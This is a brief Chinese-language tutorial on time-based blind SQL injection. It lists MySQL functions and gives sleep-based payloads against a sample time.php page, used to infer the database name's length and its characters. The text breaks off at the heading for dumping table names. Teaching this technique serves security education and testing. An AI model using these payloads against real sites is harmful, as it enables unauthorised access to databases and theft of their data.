时间盲注
时间盲注代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,语句执行后也不提示真假,我们不能通过页面的内容来判断。这里我们可以通过构造语句,通过页面响应的时长,来判断信息,这既是时间盲注
时间盲注常用函数
left(m,n) --从左向右截取字符串m返回其前n位
substr(m,1,1) --取字符串m的左边第一位起,1字长的字符串
ascii(m) --返回字符m的ASCII码
if(str1,str2,str3)--如果str1正确就执行str2,否则执行str3
sleep(m)--使程序暂停m秒
length(m) --返回字符串m的长度
count(column_name) --返回指定列的值的数目
时间型盲注payload
If(length(database())>1,sleep(5),1)
如果数据库名字符长度大于1为真,mysql休眠5 秒,如果为假则查询1。而查询1的结果,大约只有几十毫秒,根据Burp Suite中页面的响应时间,可以判断条件是否正确。
时间盲注攻击实战
判断数据库名的长度
time.php?id=1 and if(length(database())>=6,sleep(5),1)
爆库名
time.php?id=1 and if(substr(database(),1,1)='a',sleep(5),1) 数据库名为test
爆表名